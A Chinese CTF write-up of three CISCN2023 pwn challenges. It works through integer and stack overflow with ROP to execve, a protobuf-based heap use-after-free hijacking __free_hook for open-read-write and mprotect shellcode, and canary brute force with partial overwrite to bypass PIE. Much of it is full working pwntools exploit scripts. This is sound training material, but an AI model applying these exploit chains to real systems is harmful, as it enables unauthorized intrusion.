CISCN2023的PWN
技术03-06-2023
烧烤摊儿(整数溢出+syscall)
漏洞一:有符合的整数
漏洞二:复制时候的栈溢出
疑惑:为什么canary保护不用绕过
虽然开了canary,但是可以看到gaiming函数并不会检测rbp-0x8处的值是否被破坏
为了明白这个点,我看了一下要爆破canary的题目
下面是需要爆破canary的
下面是本题的,不用绕过
所以,在有栈溢出的情况,是否需要爆款绕过canary,请查看汇编代码,看具体的执行流程。
ROPgadget的收集解法
因为题目的符号很多的没有,所以最好的方法,就是使用syscall
又因为题目没有什么限制,所以直接使用ropchain生成即可
- 发送很大的负数刷新金币
- 栈溢出出rop链接
比赛出现的问题:对于syscall一些执行函数的参数不够熟悉,后面去整理这方面的内容,方便写题更高效的去构造
from pwn import *
from struct import pack
context.log_level = 'debug'
io = process("./shaokao")
# execve generated by ROPgadget
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
io.sendline('1')
io.sendline('1')
io.sendline('-100000')
io.sendline('4')
io.sendline('5')
pause( )
offset = 0x20 + 8
paylaod = offset*b'a' + p
io.sendline(paylaod)
pause( );
io.interactive()
使用ropper
我用ropper生存的攻击,是失败的。
但是,ropper很适合用来构造rop链时候的辅助
手动构造ROP链接
注意到,写入的name地址是固定的,所以可以考虑往这里写/bin/sh
虽然本题无system,但是存在syscall,所以考虑syscall调用
from pwn import *
elfname = './shaokao'
local = 1
if local:
p = process(elfname)
else:
p = remote('123.56.236.235', 30501)
elf = ELF(elfname)
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = elfname
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
uu32 = lambda data: u32(data.ljust(4, b'\x00'))
uu64 = lambda data: u64(data.ljust(8, b'\x00'))
loginfo = lambda tag, addr: log.success(tag + " -> " + hex(addr))
def menu(ch):
sla(">",str(ch))
def chuan(ch,num):
menu(2)
sla(". ",str(ch))
sla("\n",str(num))
def game(cont):
menu(5)
sla("",cont)
#dbg()
chuan(2,'-100000')
menu(4)
poprdi=0x000000000040264f
poprsi=0x000000000040a67e
poprdx=0x00000000004a404b
poprax=0x0000000000458827
syscalret=0x00000000004230a6
name=0x4E60F0
payload=b"/bin/sh\x00"+b'\x00'*0x20+p64(poprdi)+p64(name)+p64(poprsi)+p64(0)+p64(poprdx)+p64(0)*2+p64(poprax)+p64(59)
payload+=p64(syscalret)
game(payload)
p.interactive( )
Strangetalkbot(protocal)
逆向分析
前言,本题是protocal Protobuf是由Google开发的一种序列化格式,用于越来越多的Android,Web,桌面和更多应用程序。它由一种用于声明数据结构的语言组成,然后根据目标实现将其编译为代码或另一种结构。
快速搜索magic可以定位到源码的仓库,当然也可以直接点击,就会发现了
提取结构体
保存为.proto文件
查找对应的结构参数方法
直接看符合表,然后一个个查
快捷键:ctrl + X 快速交叉引用
自动化提取分析
https://github.com/marin-m/pbtk 貌似行不通,openjdk-9我换成openjdk-11
sudo apt install python3-pip git openjdk-11-jre libqt5x11extras5 python3-pyqt5.qtwebengine python3-pyqt5
$ sudo pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client
$ git clone https://github.com/marin-m/pbtk
$ cd pbtk
$ ./gui.py
使用protocal编译
sudo apt-get install protobuf-compiler
protoc --python_out=./ ./ctf.proto
最终的结果
只能使用字符一个个逆向分析。 特别留意 sint64 跟 int64 不是一个东西 使用proto3,因为更方便 最后我使用的是proto2,因为懒哈哈哈,复现脚本使用proto2的写得好 拷贝的时候,提示字符不是ASCII的问题,就是没有切换为英文输入法
syntax = "proto2";
message Devicemsg {
required sint64 actionid =1;
required sint64 msgidx =2;
required sint64 msgsize =3;
required bytes msgcontent=4;
}
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: devicemsg.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='devicemsg.proto',
package='',
syntax='proto2',
serialized_pb=_b('\n\x0f\x64\x65vicemsg.proto\"R\n\tDevicemsg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x12\x12\x0e\n\x06msgidx\x18\x02 \x02(\x12\x12\x0f\n\x07msgsize\x18\x03 \x02(\x12\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')
)
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
_DEVICEMSG = _descriptor.Descriptor(
name='Devicemsg',
full_name='Devicemsg',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='actionid', full_name='Devicemsg.actionid', index=0,
number=1, type=18, cpp_type=2, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='msgidx', full_name='Devicemsg.msgidx', index=1,
number=2, type=18, cpp_type=2, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='msgsize', full_name='Devicemsg.msgsize', index=2,
number=3, type=18, cpp_type=2, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='msgcontent', full_name='Devicemsg.msgcontent', index=3,
number=4, type=12, cpp_type=9, label=2,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=19,
serialized_end=101,
)
DESCRIPTOR.message_types_by_name['Devicemsg'] = _DEVICEMSG
Devicemsg = _reflection.GeneratedProtocolMessageType('Devicemsg', (_message.Message,), dict(
DESCRIPTOR = _DEVICEMSG,
__module__ = 'devicemsg_pb2'
# @@protoc_insertion_point(class_scope:Devicemsg)
))
_sym_db.RegisterMessage(Devicemsg)
# @@protoc_insertion_point(module_scope)
静态IDA分析
对着代码进行逆向分析,猜测每个参数的功能及其函数的作用,并且重新命名
复原结构体的状况
有一个bss存size和一个bss存ptr
UAF漏洞
这里有误导性,其实把东西拿出来给result 但是实际变的是临时变量,真实的位置没有发生变化 其次,最后置于零的是你的输入 这里的置零不是指针置零,所以这个存在uaf漏洞
因为是2.31的UAF漏洞,所以感觉不会那么简单
查一下沙箱
攻击思路
因为有沙箱,能用orw,所以考虑使用orw配合使用setcontext进行读取flag即可
什么是setcontext https://www.cnblogs.com/pwnfeifei/p/15819825.html 其实就是SROP 用mov_rdx_rdi即可读取了 本题去了符号,难找到原型,不过你大体可以知道,它是长这样的
EXP
补充一个小技巧,使用glibc-all-in-one的时候 因为libc不一定一样 所以先patchelf 最后在目录中,把libc文件删除,换成远程给的即可 现在内容就是正确的了
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))
p = process('./pwn')
#p = remote('123.57.248.214',21202)
import devicemsg_pb2
def new(i,s,c):
msg = devicemsg_pb2.Devicemsg() #弄一个序列化结构体,其实就是类似JSON
msg.actionid = 1 #结构体初始化
msg.msgidx = i
msg.msgsize = s
msg.msgcontent = c
sda(': \n',msg.SerializeToString()) #序列化
def free(i):
msg = devicemsg_pb2.Devicemsg()
msg.actionid = 4
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sda(': \n',msg.SerializeToString())
def show(i):
msg = devicemsg_pb2.Devicemsg()
msg.actionid = 3
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = b''
sda(': \n',msg.SerializeToString())
def edit(i,c):
msg = devicemsg_pb2.Devicemsg()
msg.actionid = 2
msg.msgidx = i
msg.msgsize = 0
msg.msgcontent = c
sda(': \n',msg.SerializeToString())
#tcache中每个链表最多7个节点(chunk)
#暴tcache,进入unsorted bin
for i in range(8):
new(i,0xf0,b'')
for i in range(8):
free(i)
#泄露main_arena
show(7)
rc(0x50)
#计算出libc,使用main_arena的工具
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))
#泄露堆指针.指向的tcache的结构
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))
pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_ret = libc_base+0x0000000000142c92
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9
free_hook = libc_base+0x1eee48
edit(6,p64(free_hook) + flat([
libc_base+0x0000000000025b9b, #利用了csu的gadget
0,
heap_base+0xad0,
pop_rdi_ret,
heap_base+0xad0,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
pop_rax_ret,
2,
syscall_ret, # open
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base+0xad0,
pop_rdx_ret,
0x30,
pop_rax_ret,
0,
syscall_ret, # read
pop_rdi_ret,
1,
pop_rax_ret,
1,
syscall_ret, # write
]))
new(8,0xf0,flat({ #使用flat将多个序列生成单一序列
0x00: 0x67616C662F, # /flag #在偏移0x00处存入flag字段
0x28: libc_base+0x00000000000578c8, #在偏移0x28处存入地址
0x48: heap_base+0xfa0 #指向字符串的位置
}, filler=b'\x00')) #最后有b'\x00' 填充剩余的位置
new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]
#dbg('b *(free+161)\nc')
free(8)
irt()
调试的全过程
泄露Libc
#tcache中每个链表最多7个节点(chunk)
#暴tcache,进入unsorted bin
for i in range(8):
new(i,0xf0,b'')
for i in range(8):
free(i)
#泄露main_arena
show(7)
rc(0x50)
#计算出libc,使用main_arena的工具
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))
泄露堆地址
#泄露堆指针.指向的tcache的结构
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))
寻找free_hook
修改idx=6,即目前第一个tcache的fd和内容—为rop链
一点迷思迷思迷思迷思!!!: 为什么都是用heap_base+ad0 因为,tcache就是一个堆,我们泄露出来的,是堆的分配收地址 这是按内存对齐的!!! 而只要我们加ad0,就能到我们想要去的地方,即第7个chunk
这里利用了csu的gadget
edit(6,p64(libc_base+0x1eee48) + flat([
libc_base+0x0000000000025b9b,
0,
heap_base+0xad0, #第7个chunk,idx=6
pop_rdi_ret,
heap_base+0xad0,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
pop_rax_ret,
2,
syscall_ret, # open
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base+0xad0,
pop_rdx_ret,
0x30,
pop_rax_ret,
0,
syscall_ret, # read
pop_rdi_ret,
1,
pop_rax_ret,
1,
syscall_ret, # write
]))
往分配出来的新chunk,即原先idx=6的chunk进行写
通过AIT+T寻找 不对,还有其他方法:搜索libc中的gadget(使用ropper)
迷思:为什么还可以在原来的基础上编辑 因为又一次创建了缓冲,所以可以在改缓冲上进行编辑,利用这个缓冲
new(8,0xf0,flat({ #使用flat将多个序列生成单一序列
0x00: 0x67616C662F, # /flag #在偏移0x00处存入flag字段
0x28: libc_base+0x00000000000578c8, #做栈迁移
0x48: heap_base+0xfa0 #指chunk,rop
}, filler=b'\x00')) #最后有b'\x00' 填充剩余的位置
修改free_hook内容
因为rdi是free时候的指针,而【rdi】就等于取chunk里面的内容进行操作了,这样就能完美劫持程序流程,进行rop
new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]
释放chunk8,即原先idx=6,就可以进行rop
free(8)
最终的图解
补充一个点:栈迁移 完成两个点即可:
- 修改ebp为目标的栈空间
- leave ret为到目标的点,并执行下一条指令
- 先找gadget,再进行栈排布
还有,保护全开,记得能泄露就泄露出来
其他解法
这种是属于常见的劫持程序流程到堆上,核心都是控制rsp到堆
通过SROP+ROP链
关键点:控制rdx,因为是2.31的版本 能用orw,那就用mov_rdx_rdi_配合setcontext函数进行orw读flag了
from pwn import *
from struct import pack
from ctypes import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
\#p = process("./pwn2")
p = remote('47.94.206.10', 34904)elf = ELF("./pwn2")
libc = ELF('./libc-2.31.so')
import sys
sys.path.append('./output')
import devicmesg_pb2
def add(idx, data_len, data):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 1
msg.msgidx = idx
msg.msgsize = data_len
msg.msgcontent = data
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
def edit(idx, data):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 2
msg.msgidx = idx
msg.msgsize = 1
msg.msgcontent = data
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
def show(idx):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 3
msg.msgidx = idx
msg.msgsize = 1
msg.msgcontent = b'a'
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
def free(idx):
msg = devicmesg_pb2.devicmesg()
msg.actionid = 4
msg.msgidx = idx
msg.msgsize = 1
msg.msgcontent = b'a'
serialized_msg = msg.SerializeToString()
sa(b'now: \n', serialized_msg)
for i in range(1, 10):
add(i, 0xf0, b'a'*0xf0)
for i in range(1, 9):
free(i)
show(8)
p.recv(0x38)
heap_base = u64(p.recv(8)) - 0x1470
rl(b'\x7f')
libc_base = get_addr() - 0x1ecbe0 #
rax = libc_base + 0x36174
rdi = libc_base + 0x23b6a
rsi = libc_base + 0x2601f
rdx = libc_base + 0x142c92
rsp = libc_base + 0x2f70a
ret = libc_base + 0x22679
syscall = libc_base + 0x2284d
mov_rdx_rdi_ = libc_base + 0x151990
setcontext = libc_base + 0x54F5D
buf = heap_base + 0x3000
flag = heap_base + 0x2088
free_hook = libc_base + libc.sym['__free_hook']
add(10, 0x20, b'a')
add(11, 0x20, b'a')
free(11)
free(10)
edit(10, p64(free_hook - 8))
add(12, 0x20, b'a')
payload = b'\x00'*8 + p64(mov_rdx_rdi_)
add(13, 0x20, payload)
add(14, 0xc0, (p64(heap_base + 0x1e20)*2 + p64(setcontext)*4).ljust(0xa0, b'\x00') + p64(heap_base + 0x640) + p64(ret))
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
puts = libc_base + libc.sym['puts']
orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x30) + p64(read)
orw += p64(rdi) + p64(1) + p64(write)
orw += b'/flag\x00\x00\x00'
edit(2, orw)
free(14)
pr()
通过SROP执行shellcode
from pwn import *
from struct import pack
import binascii
import pp_pb2
from google.protobuf import message
import subprocess
elfname = './pwn'
libcname = './libc-2.31.so'
local = 1
if local:
p = process(elfname)
else:
p = remote('123.56.135.185', 23536)
elf = ELF(elfname)
libc = ELF(libcname)
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = elfname
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
uu32 = lambda data: u32(data.ljust(4, '\x00'))
uu64 = lambda data: u64(data.ljust(8, '\x00'))
loginfo = lambda tag, addr: log.success(tag + " -> " + hex(addr))
cont = pp_pb2.devicemsg()
def add(idx,size,mem):
cont.actionid=2
cont.msgidx=idx*2
cont.msgsize=size
cont.msgcontent=mem
sa("now:",cont.SerializeToString())
def delete(idx):
cont.actionid = 8
cont.msgidx = idx * 2
cont.msgsize=4
cont.msgcontent='a'
sa("now:",cont.SerializeToString())
def show(idx):
cont.actionid = 6
cont.msgidx = idx * 2
sa("now:",cont.SerializeToString())
def edit(idx,size,mem):
cont.actionid = 4
cont.msgidx = idx * 2
cont.msgsize = size
cont.msgcontent = mem
sa("now:", cont.SerializeToString())
for i in range(9):
add(i+1,0x80,'a'*0x80)
for i in range(9,0,-1):
delete(i)
show(2)
ru('\n')
p.recv(0x38)
heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x540
loginfo("heap",heapaddr)
p.recv(0x1a)
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecc10
loginfo("libc",libcbase)
freehook=libcbase+libc.sym['__free_hook']
setcontext=libcbase+libc.sym['setcontext']
gadget=0x0000000000151990+libcbase
edit(3,0x20,p64(freehook))
add(11,0x80,p64(gadget).ljust(0x80,'\x00'))
frame = SigreturnFrame()
mprotect=libcbase+libc.sym['mprotect']
flagaddr=heapaddr+0x2000
shellcode=shellcraft.open('flag',0,0)
shellcode+=shellcraft.read(3,flagaddr,0x50)
shellcode+=shellcraft.write(1,flagaddr,0x50)
frame.rsp = heapaddr+0x1618
frame.rdi=heapaddr+0x1000
frame.rsi=0x1000
frame.rdx=7
frame.rip = mprotect
print("len->"+hex(len(str(frame))))
add(12,0xf0,p64(setcontext+61)+p64(heapaddr+0x1500-0x40)+str(frame)[0x30:0x110])
conts="flag"+"\x00"*4+p64(heapaddr+0x1620)+asm(shellcode)
add(13,len(conts),conts)
#dbg()
delete(12)
p.interactive()
funcanary(fork爆canary与partial write绕PIE)
静态分析
很够的一点:存在一个IDA无法识别的后门函数
找到这个后门的方法: shift + F2 查找 string 发现敏感字符串 Alt + T 查找所有引用的字符串 最后就找到了这个后门函数
因为开启了PIE,所以要用这个后门,还得绕过PIE的保护。
partial write就是利用了PIE技术的缺陷。我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程
注意:只有后三位不变!!!
最终思路
想要利用栈溢出,必须绕过PIE和CANARY保护,由于此处是read可以不接受换行符,我们可以用pwntools中的p.send然后爆破canary,爆破完canary之后,由于overflow函数的返回地址是一个TEXT段上的地址(rebase(0x1329)),并且发现很狗的是程序中还隐藏了一个IDA识别不出来的后门函数。
脚本一:爆破第4位
from pwn import *
elfname = './funcanary'
#libcname = './libc.so.6'
p = process(elfname)
elf = ELF(elfname)
context.log_level = 'debug'
context.arch = 'amd64'
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
canary = '\x00'
for j in range(7):
for i in range(0x100):
payload = 0x68*'a' + canary + chr(i)
sa(b"welcome\n",payload)
a = p.recvline()
if b'have fun' in a:
canary += chr(i)
break
print(canary)
i=0
while True:
sa("welcome\n", b'd' * 0x68 + flat(canary) +b'm'*8+ p8(0x2E) +p8(0x2+0x10*i))
i=i+1
if(i==0x10):
i=0
if b"flag" in p.recvline():
break;
脚本二:利用页的大小累加控制第4位
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./funcanary' )
io = remote('123.56.135.185',42164)
io.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(0x100):
io.send('a'*0x68 + canary + chr(i))
a = io.recvuntil("welcome\n")
#print(a)
if "fun" in a:
canary += chr(i)
print("canary: ", canary)
break
cat_flag = 0x0231
for i in range(16):
io.send('a'*0x68 + canary + 'b'*8 + p16(cat_flag))
a = io.recvuntil("welcome\n")
cat_flag += 0x1000
if "flag" in a:
print(a)
break
io.interactive()